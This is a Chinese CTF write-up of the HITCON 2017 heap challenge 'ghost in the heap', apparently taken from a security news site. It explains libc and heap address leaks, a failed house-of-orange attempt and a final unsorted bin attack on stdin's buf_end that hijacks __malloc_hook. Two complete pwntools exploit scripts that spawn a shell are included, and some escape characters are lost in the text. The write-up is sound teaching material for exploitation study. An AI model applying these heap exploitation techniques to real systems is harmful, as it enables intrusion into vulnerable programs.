【CTF攻略】hitcon2017之ghost in the heap writeup

http://p4.qhimg.com/t01ea4fe3a37fd84254.png

作者:mute_pig

预估稿费:600RMB

(本篇文章享受双倍稿费 活动链接请点击此处

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


前言

这次出题人是上次houseoforange的出题人angelboy,这次出题的思路也很赞,光是想个unsorted bin的构造就想了两天,可惜的是最后使用houseoforange的时候发现是用了添加vtable验证的最新版libc,所以只能在赛后研究出题人题解了。


1. ALL

照例还是先看一下保护,和去年一样保护全开;接着看一下各个功能:

new heap

最多可以申请3个堆,大小固定的是0xa8,申请完就读值进去,然后会在字符串最后加个x00。 

delete heap

首先获取要释放堆的下标(0-2),然后释放后只是将其ptr置0(heapptrindex]=0),但并没有将其空间置0。

add ghost

ghost只能有一个,会malloc0x50的空间,最后8位是读入一个数字magic;之前的0x47是description,如果最后一个是n则替换为x00

remove ghost

直接释放ghostptr

watch ghost

判断有没有ghost,接着读入magic判断是否和上面输入的相同,不同就退出,相同就打印description

那么可以总结一下主要功能:可以申请3个大小为0xb0的chunk,并且可以覆盖下一个chunksize的最低位;以及可以申请一个大小为0x60的chunk;这四个chunk都能被释放且不会清空其中的内容,但不能修改各个chunk的内容;最后就是能查看内容的只有0x60的chunk


2. LEAK

a) libc

unlink已经构造好了,那么关键就是泄露地址了,由于能查看内容的只有ghost,所以需要围绕它来进行构造。这里需要泄露libcheap的地址。 泄露地址和一般一样,就是因为释放空间后没有清空,所以可以直接释放后再申请后打印,libc的地址就存进去了。 由于ghost是没有强行加x00的,所以我们可以覆写fd但是打印出来bk。 于是可以构造

newheap(0)
newheap(1)
delheap(0)
addghost(1,'1'*8)

这样就能将libc的地址泄露出来了,但是我们还需要泄露堆地址。

b) heap

泄露堆地址的方法其实和泄露libc的一样,都是利用释放后的smallbins的链表,只是泄露libc只需要释放一个chunk就行了,但是泄露heap就需要释放两个才行。

# 将ghost加入fastbin
newheap(0)
addhost(1,'1')
delghost()
# 构造堆
newheap(1)
newheap(2)

结果上面两步之后,形成堆结构如下:

+=======+
 heap_0
+=======+
 fastbin
+=======+
 heap_1
+=======+
 heap_2
+=======+

然后释放heap_2,由于和top合并使得最后的size超过了fastbin的收缩阈值,所以就会调用malloc_consolidateghost加入unsorted bin

delheap(2)

接着将heap_1ghost合并

newheap(2)
delheap(1)

形成堆结构如下:

+=======+
 heap_0
+=======+
heap_1+ghost => unsorted bin
+=======+
 heap_2
+=======+

接着继续分割战场

newheap(1)
delheap(0)

形成堆结构如下:

+=======+
 heap_0 => unsorted bin
+=======+
 heap_1
+=======+
unsorted bin #(will be malloced to GHOST)
+=======+
 heap_2
+=======+

那么此时我们就已经拥有了两个unsorted bin,那么最后创建ghost就能继承unsorted bin了,并且其fdbk都指向heap_0。 最后放个总的流程图:

220943301.png

3. EXPLOIT

攻击思路有下面两个,不过都存在点问题需要绕过 * unlink 由于需要绕过unlink的判断,所以我们需要找到一个指向P+0X10的指针,也就是需要伪造一个堆才行。 那么在free的时候,unlink可以合并前面或者后面的空闲块,但在这都有限制:

前: 需要伪造P->prev_size并且P->PREV_INUSE=0,但是这里P->size都小于0x100,用NULL BYTE覆盖后size就为0了,所以不行
后: 需要伪造P->size,失败原因同上

而最关键的是,这里不存在修改某chunk的功能,同时由于开启了PIE也无法泄露heap_ptr的地址,所以unlink应该是不行的。 * houseoforange 由于这里的ghost大小正好是0x60,那么如果我们将它置入unsorted bin,并且之后可以修改ghost->bk,那么就能够实现攻击。 首先申请如下的堆

newheap(0)
addghost(1, '1')
newheap(1)
newheap(2)

接着将ghost加入unsorted bin同时和释放的heap_0合并,再把heap2_2申请出来用来隔断top,最后释放heap_1heap_2以上合并成一个整块

delghost()
delheap(0)
delheap(2)
newheap(2)
delheap(1)

接着释放heap_0,再重新申请用来覆盖unsorted binsize,使之从0x110->0x100

newheap("0"*0xa0 + p64(0xb0))

到这一步骤的流程图如下:

21343065.png

接着再申请heap_1,使得unsorted binPREV_INUSE变成1,这样才能释放heap_0

newheap(1)
delheap(1)
delheap(0)

最后申请一个ghost,再申请一个heap_0,这时heap_2的上一个chunk的指向就被heap_0包含了,从而我们可以在heap_0里面构造一个fake_chunk

+=======+
 ghost (0x60)
+=======+
 heap_0 (0xb0)
+=======+
unsorted bin (0xa0)
+=======+
 无主之地 (0x10)
+=======+
 heap_2 (prev_size=0x110 包含于heap_0 size=0x60表示上一块没使用)
+=======+

到这里的流程图如下:

1736029287.png

这样最后释放heap_2的时候,就会调用unlink与我们构造的fake_chunk合并为一个unsorted bin,而我们此时可以控制其头部,于是就可以实现houseoforange攻击了。 由于给的libc是最新版的,所以对vtable进行了校验,所以无法使用houseoforange。那么先放个本地成功的exp

#!/usr/bin/env python
# encoding: utf-8

from pwn import *
p = process("./ghost")
libc = ELF("./libc.so.6")

def newheap(data):
    p.recvuntil("Your choice: ")
    p.sendline("1")
    p.recvuntil("Data :")
    p.sendline(str(data))

def delheap(index):
    p.recvuntil("Your choice: ")
    p.sendline("2")
    p.recvuntil("Index :")
    p.sendline(str(index))

def addghost(magic, desc):
    p.recvuntil("Your choice: ")
    p.sendline("3")
    p.recvuntil("Magic :")
    p.sendline(str(magic))
    p.recvuntil("Description :")
    p.send(desc)

def seeghost(magic):
    p.recvuntil("Your choice: ")
    p.sendline("4")
    p.recvuntil("Magic :")
    p.sendline(str(magic))

def delghost():
    p.recvuntil("Your choice: ")
    p.sendline("5")


def leak_libc():
    newheap("0")
    newheap("1")
    delheap(0)
    addghost(1,'1'*8)
    seeghost(1)
    ret = p.recvuntil('$')
    addr = ret.split('11111111')[1][:-1].ljust(8,'x00')
    unsorted_addr = u64(addr)-0xa0
    libc_addr = (unsorted_addr & 0xfffffffff000)-0x3c4000
    delghost()
    delheap(1)
    return unsorted_addr , libc_addr

def leak_heap():
    newheap("0")
    addghost(1,'1'*8+'2'*8)
    delghost()
    newheap("1")
    newheap("2")
    delheap(2)
    newheap("2")
    delheap(1)
    newheap("1")
    delheap(0)
    addghost(1,'1'*9)
    #delheap(0)
    seeghost(1)
    ret = p.recvuntil('$')
    addr = ret.split('11111111')[1][:-1].ljust(8,'x00')
    heap_addr = (u64(addr)-0x31)
    delghost()
    delheap(1)
    delheap(2)
    return heap_addr

def houseoforange(heap_addr):
    write_addr = heap_addr + 0x70
    aim_addr = heap_addr + 0xb0
    fd = write_addr - 0x18
    bk = write_addr - 0x10

    # malloc for 4
    newheap("0")
    addghost(1,'1')
    newheap("1")
    newheap("2")
    # unsortedbin(0x1c0) heap_2
    delghost()
    delheap(0)
    delheap(2)
    newheap("2")
    delheap(1)

    # heap_0 unsortedbin(0x100) nobody(0x10) heap_2
    newheap("0"*0xa0 + p64(0xb0))
    newheap("1")
    delheap(1)
    delheap(0)
    # heap_0=>fake_chunk
    addghost(1,p64(0) + p64(system_addr))
    payload = p64(aim_addr) + p64(aim_addr)
    payload += "0"*0x30 + p64(0) + p64(0x111) + p64(fd) + p64(bk)
    newheap(payload)
    newheap("dddddd")
    delheap(2)
    newheap(2)
    delheap(1)
    payload = p64(0xffffffffffffffff) + p64(0)*2 + p64(heap_addr+0x18-0x18)
    newheap(payload)
    delheap(0)

    delheap(2)
    payload = "0"*0x40 + "/bin/shx00" + p64(0x61) + p64(0) + p64(io_addr-0x10) + p64(2) + p64(3)
    newheap(payload)
    p.recvuntil("Your choice: ")
    p.sendline("1")


if __name__=='__main__':
    unsorted_addr, libc_addr = leak_libc()
    system_addr = libc_addr + libc.symbols['system']
    io_addr = unsorted_addr + 0x9a8
    free_hook_addr = libc_addr + libc.symbols['__free_hook']
    heap_addr = leak_heap()
    log.success("unsorted_addr: %s"%(hex(unsorted_addr)))
    log.success("system_addr: %s"%(hex(system_addr)))
    log.success("free_hook_addr: %s"%(hex(free_hook_addr)))
    log.success("heap_addr: %s"%(hex(heap_addr)))
    log.success("io_addr: %s"%(hex(io_addr)))
    raw_input()
    houseoforange(heap_addr)
    p.interactive()

4. 正解思路

上面的houseoforange其实已经接近正解了,但是由于libc的原因所以没法实现。 正解思路是利用unsorted bin attck来覆盖stdinbuf_end,由于unsorted bin的位置是在main_arena中,所以在scanf中调用ead (fp->_fileno, buf, size))来将数据先读入缓冲区这里会使得size=unsorted bin-buf_base,于是可以篡改stdinunsorted bin中的所有数据,也包括malloc_hook的指向,最终实现getshell,下面我们从源码层面分析一下: 首先跟踪一下scanf的源码,看一下如何走到read函数。 在_IO_vfscanf_internal先调用了一下inchar

618	      
619	      fc = *f++;
620	      if (skip_space || (fc != L_('[') && fc != L_('c')
621	                         && fc != L_('C') && fc != L_('n')))
622	        {
623	          
624	          int save_errno = errno;
625	          __set_errno (0);
626	          do
627	            
631	            if (__builtin_expect ((c == EOF || inchar () == EOF) // 读入字符
632	                                  && errno == EINTR, 0))
633	              input_error ();
634	          while (ISSPACE (c));
635	          __set_errno (save_errno);
636	          ungetc (c, s);
637	          skip_space = 0;
638	        }

看一下inchar的定义,发现这里调用了_IO_getc_unlocked,而_IO_getc_unlocked调用了__uflow

117	# define inchar()        (c == EOF ? ((errno = inchar_errno), EOF)              
118	                         : ((c = _IO_getc_unlocked (s)),                      
119	                            (void) (c != EOF                                      
120	                                    ? ++read_in                                      
121	                                    : (size_t) (inchar_errno = errno)), c))

400	#define _IO_getc_unlocked(_fp) 
401	       (_IO_BE ((_fp)->_IO_read_ptr >= (_fp)->_IO_read_end, 0) 
402	        ? __uflow (_fp) : *(unsigned char *) (_fp)->_IO_read_ptr++)

那么可以参考一下我在博客中[unflow的分析,可以知道它会调用_IO_new_file_underflow,并调用_IO_file_read,最终调用__read (fp->_fileno, buf, size))来将数据先读入缓冲区,这时fp_fileno指向stdin,buf指向buf_base,而size=buf_end-buf_base。 可以看下angelboy给的原理图:

4172207018.png

除了修改buf_end之外,还需要不让函数报错,一个是_IO_vfscanf_internal中的

3021	  UNLOCK_STREAM (s);

需要让lock合法,另一个就是要通过vtable的校验。 最终跳转的地址是libc中一段可以getshell的位置,大致是调用了execve("/bin/sh",argv,env)。 最终exp如下,如果要改libc的话需要注意的是求libc地址的偏移,以及各个stdin属性的偏移:

#!/usr/bin/env python
# encoding: utf-8

p = process("./ghost")
libc = ELF("./libc.so.6")

def newheap(data):
    p.recvuntil("Your choice: ")
    p.sendline("1")
    p.recvuntil("Data :")
    p.sendline(str(data))

def delheap(index):
    p.recvuntil("Your choice: ")
    p.sendline("2")
    p.recvuntil("Index :")
    p.sendline(str(index))

def addghost(magic, desc):
    p.recvuntil("Your choice: ")
    p.sendline("3")
    p.recvuntil("Magic :")
    p.sendline(str(magic))
    p.recvuntil("Description :")
    p.send(desc)

def seeghost(magic):
    p.recvuntil("Your choice: ")
    p.sendline("4")
    p.recvuntil("Magic :")
    p.sendline(str(magic))

def delghost():
    p.recvuntil("Your choice: ")
    p.sendline("5")

def leak_libc():
    newheap("0")
    newheap("1")
    delheap(0)
    addghost(1,'1'*8)
    seeghost(1)
    ret = p.recvuntil('$')
    addr = ret.split('11111111')[1][:-1].ljust(8,'x00')
    unsorted_addr = u64(addr)-0xa0
    libc_addr = (unsorted_addr & 0xfffffffff000)-0x3c1000
    delghost()
    delheap(1)
    return libc_addr

def leak_heap():
    newheap("0")
    addghost(1,'1'*8+'2'*8)
    delghost()
    newheap("1")
    newheap("2")
    delheap(2)
    newheap("2")
    delheap(1)
    newheap("1")
    delheap(0)
    addghost(1,'1'*9)
    #delheap(0)
    seeghost(1)
    ret = p.recvuntil('$')
    addr = ret.split('11111111')[1][:-1].ljust(8,'x00')
    heap_addr = (u64(addr)-0x31)
    delghost()
    delheap(1)
    delheap(2)
    return heap_addr

def exploit(heap_addr):
    write_addr = heap_addr + 0x70
    aim_addr = heap_addr + 0xb0
    fd = write_addr - 0x18
    bk = write_addr - 0x10

    # malloc for 4
    newheap("0")
    addghost(1,'1')
    newheap("1")
    newheap("2")
    # unsortedbin(0x1c0) heap_2
    delghost()
    delheap(0)
    delheap(2)
    newheap("0")
    newheap("2")
    delheap(1)

    # heap_0 unsortedbin(0x100) nobody(0x10) heap_2
    delheap(0)
    newheap("0"*0xa0 + p64(0xb0))
    newheap("1")
    delheap(1)
    delheap(0)
    # heap_0=>fake_chunk
    addghost(1,"/bin/shx00")
    payload = p64(aim_addr) + p64(aim_addr)
    payload += "0"*0x30 + p64(0) + p64(0x111) + p64(fd) + p64(bk)
    newheap(payload)
    newheap("1")
    delheap(2)
    # now we have unsorted bin in heap_0
    # ghost(0x60) heap_0(0xb0)(unsorted bin here) smallbins heap_1
    newheap(2)
    delheap(1)
    newheap("0")
    delheap(0)

    # unsorted bin attack
    delheap(2)
    payload = "x00"*0x40 + p64(0) + p64(0xb1) + p64(0) + p64(buf_end_addr-0x10)
    newheap(payload)

    payload = ("x00"*5 + p64(lock_addr) + p64(0)*9 + p64(io_jump_addr)).ljust(0x1ad,"x00")+ p64(system_addr) # set stdin->buf_end = unsorted_bin_addr
    newheap(payload)
    delheap(0)

if __name__=='__main__':
    libc_addr = leak_libc()
    system_addr = libc_addr + 0xf24cb
    malloc_hook_addr = libc_addr + libc.symbols['__malloc_hook']
    buf_end_addr = libc_addr + 0x3c1900
    lock_addr = libc_addr + 0x3c3770
    io_jump_addr = libc_addr + 0x3be400
    heap_addr = leak_heap()
    log.success("system_addr: %s"%(hex(system_addr)))
    log.success("malloc_hook_addr: %s"%(hex(malloc_hook_addr)))
    log.success("heap_addr: %s"%(hex(heap_addr)))
    log.success("stdin_addr: %s"%(hex(buf_end_addr)))
    #raw_input()
    exploit(heap_addr)
    p.interactive()

那么这里最后还有个问题,就是明明我们修改的是__malloc_hook,为啥最后是调用delheap来实现跳转的呢?这是因为在最后调用free的时候,出现了报错,所以调了malloc_printerr来打印错误,而这个函数是会调用malloc的,调用过程如下:

#0  __GI___libc_malloc (bytes=bytes@entry=0x24) at malloc.c:2902
#1  0x00007fdb8b341f5a in __strdup (s=0x7fff4018f390 "/lib/x86_64-lin"...) at strdup.c:42
#2  0x00007fdb8b33d7df in _dl_load_cache_lookup (name=name@entry=0x7fdb8b0e7646 "libgcc_s.so.1") at dl-cache.c:311
#3  0x00007fdb8b32e169 in _dl_map_object (loader=loader@entry=0x7fdb8b5494c0, name=name@entry=0x7fdb8b0e7646 "libgcc_s.so.1", type=type@entry=0x2, trace_mode=trace_mode@entry=0x0, mode=mode@entry=0x90000001, nsid=) at dl-load.c:2342
#4  0x00007fdb8b33a577 in dl_open_worker (a=a@entry=0x7fff4018fa80) at dl-open.c:237
#5  0x00007fdb8b335564 in _dl_catch_error (objname=objname@entry=0x7fff4018fa70, errstring=errstring@entry=0x7fff4018fa78, mallocedp=mallocedp@entry=0x7fff4018fa6f, operate=operate@entry=0x7fdb8b33a4d0, args=args@entry=0x7fff4018fa80) at dl-error.c:187
#6  0x00007fdb8b339da9 in _dl_open (file=0x7fdb8b0e7646 "libgcc_s.so.1", mode=0x80000001, caller_dlopen=0x7fdb8b070b81, nsid=0xfffffffffffffffe, argc=, argv=, env=0x7fff401907a8) at dl-open.c:660
#7  0x00007fdb8b09e56d in do_dlopen (ptr=ptr@entry=0x7fff4018fca0) at dl-libc.c:87
#8  0x00007fdb8b335564 in _dl_catch_error (objname=0x7fff4018fc90, errstring=0x7fff4018fc98, mallocedp=0x7fff4018fc8f, operate=0x7fdb8b09e530, args=0x7fff4018fca0) at dl-error.c:187
#9  0x00007fdb8b09e624 in dlerror_run (args=0x7fff4018fca0, operate=0x7fdb8b09e530) at dl-libc.c:46
#10 __GI___libc_dlopen_mode (name=name@entry=0x7fdb8b0e7646 "libgcc_s.so.1", mode=mode@entry=0x80000001) at dl-libc.c:163
#11 0x00007fdb8b070b81 in init () at ../sysdeps/x86_64/backtrace.c:52
#12 __GI___backtrace (array=array@entry=0x7fff4018fd00, size=size@entry=0x40) at ../sysdeps/x86_64/backtrace.c:105
#13 0x00007fdb8af7a9f5 in backtrace_and_maps (do_abort=, do_abort@entry=0x2, written=, fd=fd@entry=0x3) at ../sysdeps/unix/sysv/linux/libc_fatal.c:47
#14 0x00007fdb8afd27e5 in __libc_message (do_abort=do_abort@entry=0x2, fmt=fmt@entry=0x7fdb8b0ebe98 "*** Error in `%"...) at ../sysdeps/posix/libc_fatal.c:172
#15 0x00007fdb8afdb37a in malloc_printerr (ar_ptr=, ptr=, str=0x7fdb8b0ebff0 "free(): invalid"..., action=0x3) at malloc.c:5006
#16 _int_free (av=, p=, have_lock=0x0) at malloc.c:3867
#17 0x00007fdb8afdf53c in __GI___libc_free (mem=) at malloc.c:2968
(完)